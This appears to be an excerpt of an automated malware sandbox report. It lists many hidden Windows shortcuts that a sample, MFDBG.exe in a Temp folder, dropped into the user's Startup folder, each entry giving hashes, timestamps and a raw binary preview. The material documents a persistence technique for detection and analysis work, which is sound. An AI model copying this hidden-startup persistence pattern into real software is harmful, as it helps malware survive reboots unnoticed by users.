Preview:	L..................F...."...]W%.{...W.g.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....9c.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8d2ffb11efe6422fb97b0f4ff81f11ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932745378627518
Encrypted:	false
SSDEEP:	24:8BhBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xrQ0R6rMhpBoUBxdRd1nYyg
MD5:	8B69C5C31100AE9CCC2E919E74A08E35
SHA1:	545D9558D5975A40E4EA7661B317BDF77A944113
SHA-256:	2838F36BA82C1982644E4ADE20D13FD4C9F8C8A3F317A5062E4716409C34DB89
SHA-512:	E66512365632B652474DFEE3D53D9F3E97736BC65AB57BE2D869077328B7D6B035584517A3D8595C16E09295179DF61F65347E086EAB033BBEF1D5B303C24405
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8d59e26915ea49b7b377885e9f5f55dd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943609941468943
Encrypted:	false
SSDEEP:	24:8IhBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8K8c0R6rMhpBoUBxdRd1nYyg
MD5:	0E48F35A2FA0E54D9FCC9C7362FF6DC4
SHA1:	DC3B0F305BE25D5E2AE2D5DF23FC007E05BA92EA
SHA-256:	8356128CE4BE5EB780EB629724FA8784F001E56C207386AD385A991D8854C340
SHA-512:	67B35EB9213649C074EA1C4133B8611B4C4FD070556089E3029069805B49D44CAD89B8608DBAAA0C75CE7A6A704FDD8122638405F6667C2B2957E34BE07B71BF
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8d64ea97b2364ea791702b5bde60b953.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926275516763472
Encrypted:	false
SSDEEP:	24:8Q8hBfi+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8x20R6rMhpBoUBxdRd1nYyg
MD5:	ECA4F82C6696B6494BC4AE4F9E7AC23D
SHA1:	BE16474F7751D3961A099110191C67D2F995FC01
SHA-256:	63E4D9666DEC1CD58380B74594BC8FF20516262A5F84EF691ECFD254B59B53F1
SHA-512:	EF1CD59FB0898C22FFC49943A80A32808F92A03491E3DEDC625A13DF6EFD430BA9E84AA42A474BC46CD725A6B30D742C33C19ABC22A77DCEF8703E9B76D78FF0
Malicious:	false
Preview:	L..................F...."...]W%.{...CW..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...CW..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8d8d63d8c1374dceae7e9d9ecdc766ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941540764776787
Encrypted:	false
SSDEEP:	24:8ZhBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:85+e0R6rMhpBoUBxdRd1nYyg
MD5:	EBC3E4276CDFD29979FCB71AB5C6A350
SHA1:	3AB9BFB706FC6112148E598E3793968B0F1B60B3
SHA-256:	AAC5AA82119312C1481A790E83633F8AC5E113D7E2F83008AE86E1113DC88802
SHA-512:	2E3E3E8ACAB3FD50F614F358298EB71D42D71C1D997A2432D184E14182015C2059A1AE90F8C68C3EA225DF48CFC8C88D1220807508C85FEA6A071F4AA902A5E1
Malicious:	false
Preview:	L..................F...."...]W%.{...%B..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8e8caf3532d5484196452cbcbbe46e56.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592387
Encrypted:	false
SSDEEP:	24:8mhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8s70R6rMhpBoUBxdRd1nYyg
MD5:	0EBD7659AC36DDCD191F7C53CF2EB6EF
SHA1:	DC87393A93F233442D934CF2756FE9162B0F221F
SHA-256:	8A8CD5F180339A8CB61C53E77DBA073E7306FEB63516A5EF76AECE65ECB7E755
SHA-512:	06099E742074286BC79CFCDBF82EBB9EF3832EC4E18EDED4AF2E84E861EE93668EF01173651E44C4B433AEC8F00518368777EB7642A081CDF8F5ED06210D77BA
Malicious:	false
Preview:	L..................F...."...]W%.{....^..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8e9fcf0437cc4917963a2f129bac85f6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939438486503279
Encrypted:	false
SSDEEP:	24:8fDhBfOW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8v60R6rMhpBoUBxdRd1nYyg
MD5:	6C3103B7E5D601606A80C070AA40FE7A
SHA1:	1887EE310894814CCBEEFCE4C578056F243DC4B0
SHA-256:	528A2E217EB3BCA5D97328F7FBAC1CC0C747750BDFB2658C24D6FE8638669CF0
SHA-512:	823DCA5D8C59DB14C489AEDA3A85A02EDC4B78E123C813F3EB0D40657B125F1C0FD03905859D8A14740373E43AEA739F438A5C7E87DCB924B76DE787BA73702D
Malicious:	false
Preview:	L..................F...."...]W%.{...m...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...?c..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ebaee62035e4b2dbbb10642d6143de6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932289135615338
Encrypted:	false
SSDEEP:	24:8y2hBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yc3C0R6rMhpBoUBxdRd1nYyg
MD5:	E8BA5D9F307DCD5129D8E0ABD0E0FAA6
SHA1:	1B58BE72069BDAD4DF415A543A88DB5789BDF3D2
SHA-256:	CDF1FFBC88BBE3C865018ACE4D0AFDF9DED5B5322A6D48F375BCE47724FF4244
SHA-512:	08A59EBFC7DA9E7B2695F39AFF2E59EA24B7003AB1E82181ED3C4D11545DF68BD4B318F21847E868CF6952C4C4F6334540EA68F4339CAC77BD4DC3929487F99C
Malicious:	false
Preview:	L..................F...."...]W%.{....m..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...22..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8f0f83c185c549f4bfb0f83e9633f085.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937445657396387
Encrypted:	false
SSDEEP:	24:8h2hBfTl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hcW0R6rMhpBoUBxdRd1nYyg
MD5:	7FE92DF72AEA345DAD5892136F2A8B2C
SHA1:	57858CA0A30C1A875E51F39DA88C8DAFEF8AFC4E
SHA-256:	4C0AC8C3BF922E164E93E04AB3232892BB398EAA83728E9C196F170709E08585
SHA-512:	86D2310B9B992C9A372EE2FA27AC43445158DDA1591EBCC772D538461037DAA586E765F7D49A15967415C1AA6C34EBCCF33271BD5B8EF4272C19E80E890B6E48
Malicious:	false
Preview:	L..................F...."...]W%.{....7..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...*L..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8fc1b76c3cc94728801cf297766caa9f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934222256859203
Encrypted:	false
SSDEEP:	24:8BhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xn0R6rMhpBoUBxdRd1nYyg
MD5:	811C59924EDAD393BAC3F5CAD32D7FE1
SHA1:	4F05A1977DAB4EA115606A790D2457716DB6EF79
SHA-256:	3113FB448A13BC72CD8F61CDC67FF874671F4CDB0A85644487FA5A58C11396A4
SHA-512:	3A75CEE662A59773C83FA3BE97A00C715B03474553ECFE4E6CF8DA7397D36599ACC72F620AE64EDAD3C40C3CA92F25206789A9DD8006DAB7A9AA16E156944930
Malicious:	false
Preview:	L..................F...."...]W%.{...w.j.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ff31a4bfebe4962a16f2ca9eec961ed.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9418478269314985
Encrypted:	false
SSDEEP:	24:8MvhBfGy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8auf0R6rMhpBoUBxdRd1nYyg
MD5:	3D0E8B5B0223A7476DADD08AAA61337F
SHA1:	159334E01D0744AF01E33426AB204DD7E4F34065
SHA-256:	1806E3488BF4CC703A534D488F4663569BD7B06C0B502508A0F42815DEDC3198
SHA-512:	AA325C42AA39693C592C927947C0C6E0A423231E95BE0A66782408E2334F6C02AF142DCA593FEADC098FA87E8938C2DB1150D7F8160068484A9526D9E8632F05
Malicious:	false
Preview:	L..................F...."...]W%.{...O...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....q..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_90ee81aa2d014184b11d899e3374690b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944275040589791
Encrypted:	false
SSDEEP:	24:8bmhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bs60R6rMhpBoUBxdRd1nYyg
MD5:	09F59271FEFE4DAA5DFC8030B672D54A
SHA1:	18B567A1CE43B59CAF38BA7DC5E532449EA1CE93
SHA-256:	3F697B44C11158424B0F4809037A9627121AE7B9162046F1C437F2283A6F7AB4
SHA-512:	72C670A55494217712A59EF1E91FF4373C72C5BD5DCBD4291FDB70A3CEDE8D8FAB7FC1CCD3C3095700B536337321D23EF023F7A8916CE2AECCFD8AD34C5323F3
Malicious:	false
Preview:	L..................F...."...]W%.{..."...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{... ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_90f167aee40e475f9dd4262f691badac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942759014417272
Encrypted:	false
SSDEEP:	24:8vhBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8z30R6rMhpBoUBxdRd1nYyg
MD5:	E3AD1AE554BABA200446A83D1931AA6B
SHA1:	4E13DA3CED9070F3E41DCA62C5B8F070CB26ADFD
SHA-256:	7545E9941CE94742389C50289227C508395F3EAC67B32C47AAD61DA87CC08B3F
SHA-512:	BE735B5060B58FAD5B6BA6DF2C0F76A5F9F81BF854E8CF4212F863FE9953D4325C83590F0D999CAA4390B3EF7DF74DBA938791302AA2C59BE1F37CAA5AC5475F
Malicious:	false
Preview:	L..................F...."...]W%.{.....'.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_910970442cef49b9be3e7615881d1835.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930275965022714
Encrypted:	false
SSDEEP:	24:8Y2hBfG48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ta0R6rMhpBoUBxdRd1nYyg
MD5:	95DE3F15BF56D74E83CAD2B2A05EA258
SHA1:	71B3EF721AE17CFD5FADD87BF5C5B1F76CDCA439
SHA-256:	E1CA2621AC67136467DF1EE1E6AE020BB58255A02CEBF9EE9F949E71F5619BC3
SHA-512:	E3E2658AEC6D8E6443CDD179420AEB81B63748990D9A12B529C838084483E32551D5DD0EB92B4D6EC2C6809DC1B456A10740258C4317489CAE6F5ABAEC125C30
Malicious:	false
